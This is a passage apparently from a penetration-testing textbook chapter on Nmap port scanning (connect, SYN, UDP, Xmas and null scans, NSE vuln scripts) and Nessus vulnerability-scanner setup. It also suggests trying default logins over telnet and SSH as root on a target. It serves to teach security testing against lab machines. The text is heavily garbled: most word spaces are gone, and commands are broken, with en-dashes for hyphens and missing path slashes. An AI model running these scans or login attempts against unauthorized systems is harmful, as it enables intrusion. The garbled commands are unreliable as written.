Onceyouhave run thecommandabove,youcanopen thehosts.txt file thatwascreatedtofindalistoftargetmachinesthatrespondedtoourpings.TheseIPaddresses should be added to your target list for later investigation. It isimportant toremember thatnoteveryhostwill respondtopingrequests;somehostsmaybefirewalledorotherwiseblockingpingpackets.

PortScanningNow that you have a list of targets, we can continue our examination byscanningtheportsforeachoftheIPaddresseswefound.Recallthatthegoalofportscanningistoidentifywhichportsareopenanddeterminewhatservicesareavailable on our target system. A service is a specific job or task that thecomputer performs like e-mail, file transfer protocol (FTP), printing, orprovidingwebpages.Port scanning is likeknockingon thevariousdoors andwindowsofahouseandseeingwhoanswers.Forexampleifwefindthatport80is open, we can attempt a connection to the port and oftentimes get specificinformationaboutthewebserverthatislisteningonthatport.Thereareatotalof65,536(0–65,535)portsoneverycomputer.Portscanbe

either transmission control protocol (TCP) or user datagram protocol (UDP)depending on the service utilizing the port or nature of the communicationoccurringontheport.Wescancomputerstoseewhatportsareinuseoropen.Thisgivesusabetterpictureofthepurposeofthemachine,which,inturn,givesusabetterideaabouthowtoattackthebox.If you had to choose only one tool to conduct port scanning, you would

undoubtedlychooseNmap.NmapwaswrittenbyGordon“Fyodor”Lyonandisavailableforfreefromwww.insecure.org.Itisbuiltintomanyoftoday’sLinuxdistributions including Kali. Although it is possible to run Nmap from agraphicaluser interface (GUI),wearegoing to focusonusing the terminal torunourportscans.Peoplewhoarenewtosecurityandhackingoftenaskwhytheyshouldlearn

touse thecommand lineor terminalversionofa tool rather than relyingonaGUI.Thesamepeopleoftencomplainthatusingtheterminalisnotaseasy.Theresponse is very simple. First, using the command line version of a tool willallow you to learn the switches and options that change the behavior of yourtool. This gives you more flexibility, more granular control, and a betterunderstandingofthetoolyouarerunning.Itisalsoimportanttounderstandthathackingrarelyworkslikeitisportrayedinthemovies(moreonthispointlater!).Finally, the command line can be easily scripted allowing us to extend andexpand the tool’s original functionality. Scripting and automation become keywhenyouwanttoadvanceyourskillsettothenextlevel.RememberthemovieSwordfishwhereHughJackmaniscreatingavirus?He

is dancing and drinking wine, and apparently building a virus in a verygraphical,GUI-drivenway.Thepointisthatthisisjustnotrealistic.Mostpeoplewhoarenew tohackingassume thathacking isaveryGUI-oriented task: thatonceyoutakeoveramachineyouarepresentedwithadesktopandcontrolofthemouseandscreen.Althoughthisscenarioispossible,itisrarelythecase.Inmost jobs, your main goal will be to get an administrative shell or backdooraccesstothemachine.Thisshellisliterallyaterminalthatallowsyoutocontrolthe targetPCfromthecommand line. It looksandfeels just like the terminalsthatwehavebeenworkingwith,exceptaremoteshellallowsyou toenter thecommands on your computer terminal and have them executed on the targetmachine.Solearningthecommandlineversionofyourtoolsiscriticalbecauseonce you have control of a machine, you will need to upload your tools andinteractwiththetargetthroughacommandprompt,notthroughaGUI.Letusassumeyoustillrefusetolearnthecommandline.Letusalsoassume

thatwiththeuseofseveraltoolsyouwereabletogainaccesstoatargetsystem.Whenyougainaccesstothatsystem,youwillnotbepresentedwithaGUIbutratherwithacommandprompt.Ifyoudonotknowhowtocopyfiles,addusers,modify documents, and make other changes through the command line, yourworkofowningthetargetwillhavebeeninvain.Youwillbestuck,likeMoseswhowasabletoseethePromisedLandbutnotallowedtoenter!

ADDITIONALINFORMATIONOne last point on the importance of learning to control toolsthrough the command line; earlier we introduced the concept ofpivoting,rarelydoGUItoolsandpivotingmix.Inmostcases,once

youcompromiseacomputerandneedtopivotoffofit,youwillbeworkingfromaremoteterminal.Inthesecases,understandinghowtoutilizethecommandlineversionofeachtooliscritical.

Whenweconductaportscan,ourtoolwillliterallycreateapacketandsendittoeachdesignatedportonthemachine.Thegoalistodeterminewhatkindofaresponsewegetfromthetargetport.Differenttypesofportscanscanproducedifferentresults.Itisimportanttounderstandthetypeofscanyouarerunningaswellastheexpectedoutputofthatscan.

TheThree-WayHandshakeWhen twomachines on any given network want to communicate using TCP,theydosobycompletingthethree-wayhandshake.Thisprocessisverysimilarto a phone conversation (at least before everyone had caller ID!).When youwanttotalktosomeone,youpickupthephoneanddialthenumber,thereceiverpicksuptheringingphonenotknowingwhothecallerisandsays“Hello?”,theoriginalcallerthenintroduceshimselfbysaying“Hi,thisisDaveKennedy!”Inresponsetothis,thereceiverwilloftenacknowledgethecallerbysaying“Oh,hiDave!”Atthispointbothpeoplehaveenoughinformationfortheconversationtocontinueasnormal.Computersworkmuchthesameway.Whentwocomputerswanttotalk,they

go through a similar process. The first computer connects to the secondcomputerby sendinganSYNpacket toa specifiedportnumber. If the secondcomputer is listening, it will respond with an SYN/ACK. When the firstcomputerreceivestheSYN/ACK,itreplieswithanACKpacket.Atthispoint,thetwomachinescancommunicatenormally.Inourphoneexampleabove,theoriginaldialerislikesendingtheSYNpacket.Thereceiverpickingupthephoneand saying “Hello?” is like the SYN/ACK packet and the original callerintroducinghimselfisliketheACKpacket.

UsingNmaptoPerformaTCPConnectScanThefirstscanwewilllookatiscalledtheTCPConnectscan.ThisscanisoftenconsideredthemostbasicandstableofalltheportscansbecauseNmapattempts

to complete the three-way handshake on each port specified in the Nmapcommand. Because this scan actually completes the three-way handshake andthen tears down the connection gracefully, there is little chance that you willfloodthetargetsystemandcauseittocrash.If you do not specify a specific port range,Nmapwill scan the 1000most

commonports.Unlessyouareinagreathurry,itisalwaysrecommendedtoscanallports,not just the1000mostcommon.The reason is thatoftentimescraftyadministratorswillattempttoobscureaservicebyrunningitonanonstandardport.Youcanscanalltheportsbyspecifying“-p-”whenrunningNmap.Usingthe“-Pn”switchwitheveryNmapscan isalsorecommended.Utilizing the“-Pn”switchwillcauseNmaptodisablehostdiscoveryandforcethetooltoscanevery system as if it were alive. This is extremely useful for discoveringadditionalsystemsandportsthatotherwisemaybemissed.TorunaTCPconnect,weissuethefollowingcommandfromaterminal:nmap–sT-p--Pn192.168.18.132

Take amoment to review this command. The first word “nmap” causes theNmapportscannertostart.Thesecondcommand“–sT”tellsNmaptorunaTCPConnect scan.Specifically, tobreak this switchdowneven further, the“–s” isused to tellNmapwhatkindofscanwewant to run.The“–T” in the“–sT” isusedtorunascantypeofTCPConnect.Weusethe“-p-”totellNmaptoscanalltheportsnotjustthedefault1000.Weusethe“-Pn”switchtoskipthehostdiscovery phase and scan all the addresses as if the system were alive andrespondingtopingrequests.Finally,wespecifythetargetIPaddress;obviously,yourtarget’sIPaddresswillbedifferentfromtheoneshowninthescreenshot!Figure3.2showstheTCPConnectNmapscanandtheoutputthatwasreceivedwhenrunagainsttheMetasploitabletarget.

FIGURE3.2 TCPconnectscansandresults.

Oftentimes,weneedtorunourscansagainstanentiresubnet,orrangeofIPaddresses.When this is the case, we can instruct Nmap to scan a continuousrange of IPs by simply appending the last octet (or octets) of the ending IPaddressontothescanlikeso:

nmap–sT-p--Pn192.168.18.1-254

IssuingthiscommandwillcauseNmaptoportscanallthehostsbetweentheIP addresses192.168.18.1 and192.168.18.254. Just likeping sweeps, this is avery powerful technique that can greatly improve the productivity of yourscanninglife!Ifyouneedtoscanaseriesofhoststhatarenotinsequentialorder,youcan

createatextfileandlisteachhostIPaddressonasingleline.Thenaddthe“–iLpath_to_the_text_file” switch to your Nmap command. Doing this allowsyou to scan all your target hosts from a single command.Whenever possible,alwaystrytocreateasingletextfilecontainingallyourtargetIPs.Mostofthetoolswediscusshaveaswitchormechanismforloadingthistextfile.Havingalist saves the effort or retyping, butmore importantly, reduces the number oftimesyouwilltypeeachIPaddressandthereforediminishesthechancethatyouwillfat-fingertheIPaddressandscanthewrongtarget.

UsingNmaptoPerformanSYNScanTheSYNScan is arguably themostpopularNmapport scan.Therearemany

reasons for its popularity, including the fact that it happens to be the defaultNmapscan.IfyouruntheNmapcommandwithoutspecifyingascantype(usingthe–sswitch),NmapwillusetheSYNscanbydefault.AsidefromthefactthattheSYNscanisthedefaultchoice,itisalsopopular

becauseit isfaster thantheTCPconnectscanandyetremainsquitesafe,withlittlechanceof(DenialofService)DoS’ingorcrashingthetargetsystem.SYNscansarefasterbecauseratherthancompletingtheentirethree-wayhandshake,itonlycompletesthefirsttwostepsoftheprocess.InanSYNscan,thescanningmachinesendsanSYNpackettothetargetand

the target responds with an SYN/ACK (assuming the port is in use and notfiltered)justlikeitdidwhenweranaTCPConnectscan.However,atthispoint,ratherthansendingthetraditionalACKpacket, thescanningmachinesendsanRST (reset) packet to the target. The reset packet tells the target machine todisregard any previous packets and close the connection between the twomachines.ItshouldbeclearthatthespeedadvantageoftheSYNscanovertheTCPConnectscancomesfromthefactthattherearefewerpacketssentbetweenthehostswhenusinganSYNscanratherthanaTCPConnectscan.Althoughafew packetsmay not sound like a big advantage, it can add up quicklywhenscanningmultiplehosts.Ifweconsidertheexampleofcomparingthethree-wayhandshaketoaphone

call,SYNscanswouldbelikecallingsomeoneup,havingthereceiverpickupthe phone and saying “Hello?”, and then simply hanging up on the personwithoutasingleword.Another advantage to theSYN scan is that in some instances, it provides a

level of obscurity or stealth. Because of this feature, the SYN scan is oftenreferredtoasthe“StealthScan”.Thestealthportionofthisscancomesfromthefactthatbecausethethree-wayhandshakeisneverfullycompleted,theofficialconnectionwasnever100%established.Thereareapplicationsandlogfilesthatrequirethecompletionofthethree-wayhandshakebeforetheybeginrecordingactivity. As a result, if a log file only records completed connections and theSYN scan never officially completes a single connection, this scan may beundetectedbysomeapplications.Pleasenote that this is theexceptionandnottherule.AllmodernfirewallsandintrusiondetectionsystemsinusetodaywilldetectandreportanSYNscan!BecausetheSYNscanisthedefaultNmapscan,wedonottechnicallyneedto

specifythescantypewiththe“–s”switch.However,becausethisbookfocusesonthebasics,itisworththeefforttogetintothehabitofspecifyingyourscan

type.TorunanSYNscan,youcanopenaterminalwindowandissuethefollowing

command:nmap–sS-p--Pn192.168.18.132

This command is exactly the same as the previous example with oneexception—ratherthanusingan“–sT”,weusedan“–sS”.This instructsNmaptorunanSYNscanratherthanaTCPConnectscan.ThescantypesareeasytorememberbecauseaTCPConnectscanbeginswiththeletter“T”,whereastheSYNscanbeginswiththeletter“S”.Eachoftheotherswitcheswasexplainedinthesectionabove.Pleasereviewthe“UsingNmaptoCompleteaTCPConnectScan” for a detailed breakdown of the switches in this command. Figure 3.3showstheoutputofanSYNscanagainstourtarget.

FIGURE3.3 SYNscanandresults.

TakeamomenttocomparethetotalruntimebetweenthetwoscansinFigures3.2and3.3.Eveninoursimpleenvironmentagainstasinglehost,theSYNscancompleteditsexecutionfaster.

UsingNmaptoPerformUDPScansOneof themost commonport scanningmistakesofnewpenetration testers isthattheyoverlookUDP.TheseaspiringhackersoftentimesfireupNmap,runa

singlescan(typicallyanSYNscan),andmoveontovulnerabilityscanning.DonotneglecttoscanUDPports!FailingtoscanyourtargetforopenUDPportsislike reading theCliffNotesversionof abook.Youwillprobablyhavea solidunderstandingofthestory,butyouarelikelytomissmanyofthedetails.ItisimportanttounderstandthatbothTCPConnectscansandSYNscansuse

TCPasthebasisfortheircommunication.Computerscancommunicatewithoneanother using either TCP or UDP; however, there are several key differencesbetweenthetwoprotocols.TCP is considered a “connection-oriented protocol” because it requires that

thecommunicationbetweenboththesenderandthereceiverstaysinsync.Thisprocessensuresthatthepacketssentfromonecomputertoanotherarriveatthereceiverintactandintheordertheyweresent.Ontheotherhand,UDPissaidtobe“connectionless”becausethesendersimplysendspacketstothereceiverwithnomechanismforensuring that thepacketsarriveat thedestination.Therearemany advantages and disadvantages to each of the protocols including speed,reliability, and error checking.To trulymasterport scanning, youwill need tohaveasolidunderstandingof theseprotocols.Takesome timeand learnabouteachofthem.Recall that earlier the three-way handshake process was described by

comparing the process to a phone call. The three-way handshake is a keycomponentofTCPcommunicationthatallowsthesenderandthereceivertostayin sync. Because UDP is connectionless, this type of communication is mostoften compared to dropping a letter in a mailbox. In most cases, the sendersimplywritesanaddressonanenvelope,putsastampontheletter,andputstheletter in the mailbox. Eventually, the mailman comes along and picks up theletterwhereitisenteredintothemailroutingsystem.Inthisexample,thereisnoreturn receiptordelivery confirmation for the sender.Once themailman takesthe letter, the sender has no guarantee that the letter will get to its finaldestination.Now that you have a very simple understanding of the difference between

TCPandUDP, it is important toremember thatnoteveryserviceutilizesTCP.Several prominent services make use of UPD including dynamic hostconfiguration protocol, domain name system (for individual lookups), simplenetworkmanagementprotocol,andtrivialfiletransferprotocol.Oneofthemostimportanttraitsforapenetrationtestertohaveisthoroughness.ItwillbequiteembarrassingtoyouifyouoverlookormissaservicebecauseyouforgottorunaUDPscanagainstyourtarget.

BoththeTCPConnectscanandtheSYNscanuseTCPasthebasisfortheirscanningtechniques.IfwewanttodiscoverservicesutilizingUDP,weneedtoinstructNmaptocreatescansusingUDPpackets.Fortunately,Nmapmakesthisprocessverysimple.TorunaUDPscanagainstourtarget,wewouldenterthefollowingcommandinaterminal:

nmap–sU192.168.18.132

Noticethedifferencebetweenthiscommandandtheotherswehavelearned.First, we specify the Nmap UDP scan by using the “–sU” command. Astutereaderswillalsonoticethatthe“-p-“andthe“-Pn”switcheshavebeendroppedfromthescan.Thereasonforthisissimple.UDPscansareveryslow;runningevenabasicUDPscanonthedefault1000portscantakeasignificantamountoftime.OnceagainitisworthwhiletocomparethetotalscantimebetweenFigures3.3and3.4.Figure3.4showstheoutputoftheUDPscan.

FIGURE3.4 UDPscanandresults.

It is important to remember that UDP communication does not require aresponse from the receiver. If the target machine does not send back a replysayingapacketwasreceived,howcanNmapdifferentiatebetweenanopenportand a filtered (firewalled) port? In other words, if a service is available andacceptingUDPpackets,thenormalbehaviorforthisserviceistosimplyacceptthe packet but not send a message back to the receiver saying “Got It!”Likewise, a common firewall strategy is to simply absorb the packet and notsend a response back to the sender. In this example, even though one packetwentthroughandonepacketwasblocked,becausenopacketswerereturnedtothesender,thereisnowayofknowingifthepacketwasacceptedbyaserviceordroppedbythefirewall.ThisconundrummakesitverydifficultforNmaptodetermineifaUDPport

isopenorfiltered.Asaresult,whenNmapdoesnotreceivearesponsefromaUDPscan, it returns the followingmessage for theport “open | filtered.” It isimportanttonotethatonrareoccasionsaUDPservicewillsendaresponsebacktotheoriginalsource.Inthesecases,Nmapissmartenoughtounderstandthatthereisclearlyaservicelisteningandrespondingtorequestsandwillmarkthoseportsas“open”.As was discussed earlier, oftentimes people who are new to port scanning

overlookUDPscans.ThisisprobablydueinparttothefactthatmostordinaryUDP port scans provide very little information andmark nearly every port as“open | filtered”.After seeing the same output on several different hosts, it iseasytobecomedisillusionedwithUDPscans.However,allisnotlost!ThefinefolkswhowroteNmapprovideuswithawaytodrawmoreaccurateresultsfromourUDPscans.Toelicitamoreusefulresponsefromourtarget,wecanaddthe“–sV”switch

toourUDPscan.The“–sV”switchisusedforversionscanningbut,inthiscase,canalsohelpusnarrowtheresultsofourUPDscan.When version scanning is enabled, Nmap sends additional probes to every

“open | filtered” port that is reported by the scan. These additional probesattempt to identify services by sending specifically crafted packets. Thesespecially crafted packets are often much more successful in provoking aresponsefromthetarget.Oftentimes,thiswillchangethereportedresultsfrom“open|filtered”to“open”.As mentioned above, the simplest way to add version scanning to a UDP

probe is to include the “–sV” switch. Please note that becausewe are alreadyusing the “–sU” switch to specify the typeof scan,wecan simplyappend thecapitalVontothebackofthe“–sU”.Asaresult,ournewcommandbecomes

nmap–sUV172.16.45.135

UsingNmaptoPerformanXmasScanIn the computer world, a request for comments (RFC) is a document thatcontainseithernotesorthetechnicalspecificationscoveringagiventechnologyorstandard.RFCscanprovideuswithatremendousamountofdetailabouttheinner workings of a particular system. Because RFCs describe the technicaldetails of how a system should work, attackers and hackerswill often reviewRFCs looking for potential weaknesses or loopholes described in thedocumentation.Xmastreescansandnullscansexploitjustsuchaloophole.

Xmas tree scans get their name from the fact that the FIN, PSH, andURGpacketflagsaresetto“on”;asaresult,thepackethassomanyflagsturnedonandthepacketisoftendescribedasbeing“lituplikeaChristmastree”.Givenwhat we already know about TCP communications and the three-wayhandshake,itshouldbeclearthatanXmastreepacketishighlyunusualbecauseneither the SYN nor ACK flags are set. However, this unusual packet has apurpose. If the system we are scanning has followed the TCP RFCimplementation, we can send one of these unusual packets to determine thecurrentstateoftheport.TheTCPRFCsaysthatifaclosedportreceivesapacketthatdoesnothavean

SYN,ACK,orRSTflagset(i.e.thetypeofpacketthatiscreatedfromanXmastreescan),theportshouldrespondwithanRSTpacketofitsown.Furthermore,theRFCstatesthatiftheportisopenanditreceivesapacketwithoutanSYN,ACK,orRSTflagset, thepacketshouldbe ignored.Takeamoment to rereadthelasttwosentences,astheyarecriticaltounderstandingtheresponsewegetfromthesescans.Assuming the operating system of the target fully complies with the TCP

RFC, Nmap is able to determine the port state without completing or eveninitiating a connection on the target system. The word “assuming” was usedbecausenoteveryoperatingsystemonthemarkettodayisfullyRFCcompliant.Ingeneral,theXmastreeandnullscansworkagainstUnixandLinuxmachinesbut notWindows.As a result,Xmas tree and null scans are rather ineffectiveagainstMicrosofttargets.ToexecuteanXmastreescan,wesimplyreplacethe“–sU”switchfromour

lastexamplewithan“–sX”.Torunthefullscanintheterminal,wewouldenternmap–sX-p--Pn192.168.18.132

Figure3.5 shows the command andoutput of aXmas tree scan against ourLinuxtarget.

FIGURE3.5 Xmastreescanandresult.

UsingNmaptoPerformNullScansNull scans, like Xmas tree scans, are probes made with packets that violatetraditional TCP communication. In many ways, the null scan is the exactopposite of a Xmas tree scan because the null scan utilizes packets that aredevoidofanyflags(completelyempty).Targetsystemswillrespondtonullscansintheexactsamewaytheyrespond

toXmastreescans.Specifically,anopenportonthetargetsystemwillsendnoresponsebacktoNmap,whereasaclosedportwillrespondwithanRSTpacket.It is important to remember that these scans are only reliable for operatingsystemsthatcomply100%withtheTCPRFC.One of themain advantages of runningXmas tree and null scans is that in

somecases,youareabletobypasssimplefiltersandaccesscontrollists.Someof theseprimitive filtersworkbyblocking inboundSYNpackets.The thoughtwith this typeof filter is thatbypreventing theSYNpacket fromentering thesystem,itisnotpossibleforthethree-wayhandshaketooccur.Ifthethree-wayhandshakedoesnotoccur,therecanbenoTCPcommunicationstreamsbetweenthesystems,ormoreprecisely,noTCPcommunicationscanbeoriginatedfromoutsideofthefilter.ItisimportanttounderstandthatneithertheXmastreenorthenullscansseek

toestablishanytypeofcommunicationchannel.Thewholegoalofthesescansistodetermineifaportisopenorclosed.With theprevious twoparagraphs inmind, consider the following example.

AssumethatourNetworkAdminBenOwnedputsasimplefirewallinfrontofhis system to prevent anyone outside of his network from connecting to thesystem. The firewall works by simply dropping any external communicationsthatbeginwithanSYNpacket.Benhireshisbuddy,theethicalhacker,toscanhis system. The ethical hacker’s initial TCP Connect scans show nothing.However,beingaseasonedpenetrationtester, theethicalhackerfollowsuphisinitialscanwithUDP,Xmastree,andnullscans.TheethicalhackersmileswhenhediscoversthatbothhisXmastreescansandnullscansrevealopenportsonBen’ssystem.ThisscenarioispossiblebecauseNmapcreatespacketswithouttheSYNflag

set.BecausethefilterisonlydroppingincomingpacketswiththeSYNflag,theXmastreeandnullpacketsareallowedthrough.Torunanullscan,weissuethefollowingcommandinaterminal:

nmap–sN-p--Pn192.168.18.132

TheNmapScriptingEngine:FromCaterpillartoButterflyMake no mistake. Nmap is an awesome tool. It is mature, robust, welldocumented, and supported by an active community. However, the NSEprovides Nmap with an entirely new skill set and dimension. The NSE is apowerful addition to the classic tool that transforms its functionality andcapabilitywellbeyonditstraditionalportscanningduties.LearningtoutilizetheNSEiscriticaltogettingthemostoutofNmap.When

properly implemented, the NSE allows Nmap to complete a variety of tasksincluding vulnerability scanning, advanced network discovery, detection ofbackdoors,andinsomecasesevenperformexploitation!TheNSEcommunityisaveryactiveandopengroup.Newscriptsandcapabilitiesarebeingconstantlyadded. If youuse theNSE to create somethingnew, I encourageyou to shareyourwork.Inorder tokeep thingssimple, theNSEdivides thescriptsbycategory.The

currentcategoriesincludeauth,broadcast,brute,default,discovery,dos,exploit,external, fuzzer, intrusive,malware,safe,version,andvuln.Eachcategorycanbefurtherbrokendownintoindividualscriptsthatperformaparticularfunction.

A hacker or penetration tester can run a single script or the entire category(whichincludesmultiplescripts).Itisimportanttoreviewthedocumentationforeach category and script before invoking themor using them against a target.You can find the most recent and up-to-date NSE information athttp://nmap.org/nsedoc/.

ADDITIONALINFORMATIONTheNSEand its scriptsareprebuild intoNmap.There isnothingforyoutoinstallorconfigure.

In order to invoke theNSE,we use “--script” argument followed by thecategoryorscriptnameandthetargetIPaddressasshownbelow:

nmap--scriptbanner192.168.18.132

The “banner” script is an extension ofNmap that creates a connection to aTCPportandprintsanyoutputsentfromthetargetsystemtothelocalterminal.This canbeextremelyhelpful in identifyingunrecognized servicesonobscureports.Similarlywecouldinvokeanentirefamilyorcategoryofscriptsbyusingthe

“--scriptcategory_name”formatasshownbelow:nmap--scriptvuln192.168.18.132

The“vuln”categorywillrunaseriesofscriptswhichlookforknownissueson the target system. This category typically provides output only when avulnerabilityisdiscovered.The“vuln”functionalityoftheNSEisanexcellentprecursor to our conversation on vulnerability scanning. Figure 3.6 shows theoutput of running an NSE vuln scan against our Metasploitable target. Payspecial attention to any CommonVulnerabilities and Exposures (CVE), OpenSourceVulnerabilityDatabase(OSVDB),orlinks,whichareprovided.Wewillreturntothistopicduringourcoverageofexploitation.Fornow,besuretotakenotesandproperlydocumentyourfindings.

FIGURE3.6 NSE—Vulnscanresults.

PortScanningWrapUpNowthatwehavecoveredthebasicsofportscanning,thereareafewadditionalswitchesthatneedtobecovered.Theseswitchesprovideextendedfunctionalitythatmaybeusefultoyouasyouprogressinyourpenetrationtestingcareer.Asmentioned earlier, the “–sV” switch is used for version scanning.When

conductingversionscanning,Nmapsendsprobestotheopenportinanattemptto determine specific information about the service that is listening. Whenpossible,Nmapwillprovidedetailsabouttheserviceincludingversionnumbersand other banner information. This information should be recorded in yournotes. It is recommended that you use the “–sV” switch whenever possible,especially on unusual or unexpected ports, because a wily administrator mayhavemovedhiswebservertoport34567inanattempttoobscuretheservice.Nmapincludesanoptiontochangethespeedofyourportscan.Thisisdone

withthe“–T”switch.Thetimingswitchrangesonanumericscalefrom0to5,with0beingtheslowestscanand5,thefastest.Timingoptionscanbeextremelyuseful depending on the situation. Slow scans are great for avoiding detectionwhilefastscanscanbehelpfulwhenyouhavealimitedamountoftimeorlarge

numberofhoststoscan.Pleasebeawarethatbyusingthefastestscanspossible,Nmapmayprovidelessaccurateresults.Last, the “–O” switch can be useful for fingerprinting the operating system.

This is handy for determining if the target you are attacking is a Windows,Linux,orother typeofmachine.Knowing theoperating systemofyour targetwillsaveyoutimebyallowingyoutofocusyourattackstoknownweaknessesofthatsystem.ThereisnouseinexploringexploitsforaLinuxmachineifyourtargetisrunningWindows.Oncewehave completed port scanning our target,we should have a list of

openportsandservices.Thisinformationneedstobedocumentedandreviewedclosely.While reviewing theNmapoutput,youshould takea fewmoments toattempttologintoanyremoteaccessservicesthatwerediscoveredinyourportscan.Thenextchapterwilladdressrunningabruteforcetooltoattempttologin.For the time being, you can attempt to login using default user names andpasswords.Youcouldalsotrylogginginusinganyinformation,usernames,ore-mailaddressesyou foundduring reconnaissance. It ispossible tocompleteapenetration testby simplydiscoveringanopen remoteconnectionand logginginto theboxwithadefaultusernameandpassword.TelnetandSSHaregreatremoteservicesthatyoushouldalwaystrytoconnectto.Youcandothisfromthecommandlinebytyping:

telnettarget_ip

sshroot@target_ip

Inthisexample, the“target_ip”is theIPaddressofyourvictim.Mostlikelythesewill fail, but on the rare occasionwhen you are successful, they are anabsolutehomerun.

VulnerabilityScanningNowthatwehavealistofIPs,openports,andservicesoneachmachine, it istime to scan the targets for vulnerabilities. Vulnerability is a weakness in thesoftwareorsystemconfigurationthatcanoftenbeexploited.Vulnerabilitiescancome inmany formsbutmost often they are associatedwithmissingpatches.Vendors often release patches to fix a known problem or vulnerability.Unpatched software and systems often lead to quick penetration tests becausesome vulnerabilities allow remote code execution. Remote code execution isdefinitelyoneoftheholygrailsofhacking.

ADDITIONALINFORMATIONRemotecodeexecutionallowsanattackerorpenetration tester tofullyandcompletelycontroltheremotecomputerasifhe/shewerephysicallysittinginfrontofit.Thisincludes,butisnotlimitedto,copying, editing, and deleting documents or files, installing newprograms, making changes or disabling defensive products likefirewalls and antivirus, setting up key loggers or backdoors, andusingthenewlycompromisedcomputertoattacknewmachines.

Itisimportanttounderstandthisstep,astheresultswillfeeddirectlyintostep3 where we will attempt to exploit and gain access to the system. To scansystemsforvulnerabilities,wewilluseavulnerabilityscanner.ThereareseveralgoodscannersavailabletoyoubutforthisbookwewillbefocusingonNessus.Nessusisagreattoolandavailableforfree(aslongasyouareahomeuser),

from their website at http://www.tenable.com/products/nessus. Tenable, themakersofNessus,allowsyoutodownloadafull-fledgedversionandgetakeyfor free. If you are going to useNessus in a corporate environment, youwillneed to sign up for the professional feed rather than the HomeFeed. Theprofessional feedwill runyouabout$125amonth($1500ayear).Wewillbeusing the home version for this book. To sign up for a key, visithttp://nessus.org/registerorsearchtheNessushomepage.Installing Nessus is very straightforward. It runs on all major operating

systems including Linux, Windows, OS X, FreeBSD and more. Nessus runsusing a client/server architecture, which allows you to have multiple clients,connecttotheserverinstanceifyouwantto.Oncesetup,theserverrunsquietlyinthebackground,andyouinteractwiththeserverthroughabrowser.TherearemanygoodtutorialsontheInternetforinstallingNessusonKali(oranyLinuxsystem).Ingeneral,toinstallNessus,youneedtocompletethefollowingsteps:

1.Downloadtheinstallerfromwww.nessus.org.2.RegisterforanoncommercialHomeFeedkeyontheNessuswebsiteby

submittingyoure-mailaddress.TheNessuscrewwille-mailyouauniqueproductkeythatcanbeusedtoregistertheproduct.Pleasebesuretopayspecialattentiontotheend-userlicenseagreementthatrestrictshowaHomeFeedcanbeused.

3.Installtheprogram.4.CreateaNessususertoaccessthesystem.5.EnteryourHomeFeed(orProfessional)key.6.Updatetheplug-ins.7.UseabrowsertoconnecttotheNessusserver.

ADDITIONALINFORMATIONInstallingNessusonBacktrackorKaliisstraightforward.Youcaneither use the “apt-get” command or you download the .debpackagefromtheNessussite, .debfilescanbeinstalledusingthecommand:

dpkg–iname_of_.deb_file_to_install

If you are runningKali orBacktrack, you can install via “apt-get”bysimplyopeningaterminalandissuethecommandasshownbelow:

apt-getinstallnessus

Next set up aNessus user by entering the following commandintotheterminalwindow:optnessus/sbin/nessus-adduserAfterissuingthe“nessus-adduser”command,youwillbeasked

to choose a user name and password. Be sure to answer eachquestionpertainingtotheNessususersetup.Onceauserhasbeencreated,youneedtoactivateyourregistrationkey.Toactivateyourregistration key, run the following commands in a terminalwindow:

optnessus/bin/nessus-fetch--registeryour_reg_key

You will need to replace “your_reg_key” with the key youreceived fromTenable.TheNessus key is only good for a singleinstallation;ifyouneedtoreinstall,youwillhavetoregisterforanew key. After entering this command, you will need to waitseveralminuteswhile the initial plug-ins are downloaded to yourlocal machine. Once all the plug-ins have been successfullydownloaded, you can start the Nessus server by running thefollowingcommand:

etcinit.d/nessusdstart

When you reboot your attackermachine and attempt to access

Nessus through a browser, youmay see an “Unable to Connect”error message. If this happens, open a terminal and reissue the“etcinit.d/nessusdstart”command.

One of the key components ofNessus is the plug-ins.A plug-in is a smallblock of code that is sent to the target machine to check for a knownvulnerability.Nessushas literally thousandsofplug-ins.Thesewillneed tobedownloadedthefirsttimeyoustarttheprogram.ThedefaultinstallationwillsetupNessustoautomaticallyupdatetheplug-insforyou.Once you have installed theNessus server, you can access it by opening a

browser and entering https://127.0.0.1:8834 in the uniform resource locator(URL)(assumingyouareaccessingNessusonthesamecomputeryouinstalledthe server on).Do not forget the “https” in theURL asNessus uses a secureconnection when communicating with the server. If you receive a message“Connection Untrusted Message” or a “Certificate Warning”, you can ignorethese for nowby adding an exception and continuing.Nessuswill take a fewminutes to initialize and process the plug-ins that were recently downloaded.Onceeverythinghasbeenprocessed,youwillbepromptedwithaloginscreen.Enter the user name and password you created when installing the program.Once you log into the program, you will be presented with the main Nessusscreen.You can navigateNessus by clicking the various headings at the top of the

page. Each heading represents a different component of the Nessus toolincluding:Results,Scans,Templates,Policies,Users,andConfiguration.BeforewecanuseNessus,weneedtoeithercreateacustompolicyormakeuseofoneof the predefinedpolicies thatNessus creates for us.You can create a custompolicybyclickingthe“Policies”tabatthetopofthewebpage.Tosetupascanpolicy,youneedtoprovideaname.Ifyouaregoingtosetupmultiplepolicies,you shouldalsoenter adescription.Please takeaminute to reviewFigure3.7whichallowsyoutoenablesafechecks.NotethattheHTML5interfacewhichisnowenabledbydefaultandhasthesafechecksmenuunder“Configuration,thenAdvanced”.

FIGURE3.7 Settingupa“safe”scanoptioninconfigurations.

You will want to set up safe checks in most cases (which is enabled bydefault).Thereasonforthisissimple.Someplug-insandchecksareconsidereddangerous because they check for the vulnerability by attempting to actuallyexploit the system. Be aware that removing the “Safe Checks” check has thepotentialtocausenetworkandsystemdisruptionsoreventakesystemsoffline.Byensuringthatyouhave“SafeChecks”,youcanavoidunintentionalnetworkdisruptions.Next,wemoveintothescanpolicies,whichallowyoutocustomizewhattype

ofpoliciesyoucanusewithintheNessusinterface.Therearemanyoptionsthatyoucanusetocustomizeyourscanpolicy.Forthepurposeofthisbook,wewillusethedefaults.Takeamomenttoclickthepoliciestemplate,selectoneofthedefault templates or create your own. Review the various options by clickingeachof theoptionson the left-handsideof themenu.YouwillnoticeGeneralSettings,Credentials,Plug-ins,andPreferences.Thiswilltakeyouthrougheachoftheremainingpageswhereyoucansetadditionaloptionsforyourpolicy.Onceyourscanpolicyisset,youcansaveitbyclickingthe“Update”button.

You only need to set up your scan policy one time.Once your scan has beensubmitted, you will be able to use that policy to perform vulnerability scansagainstyourtarget.

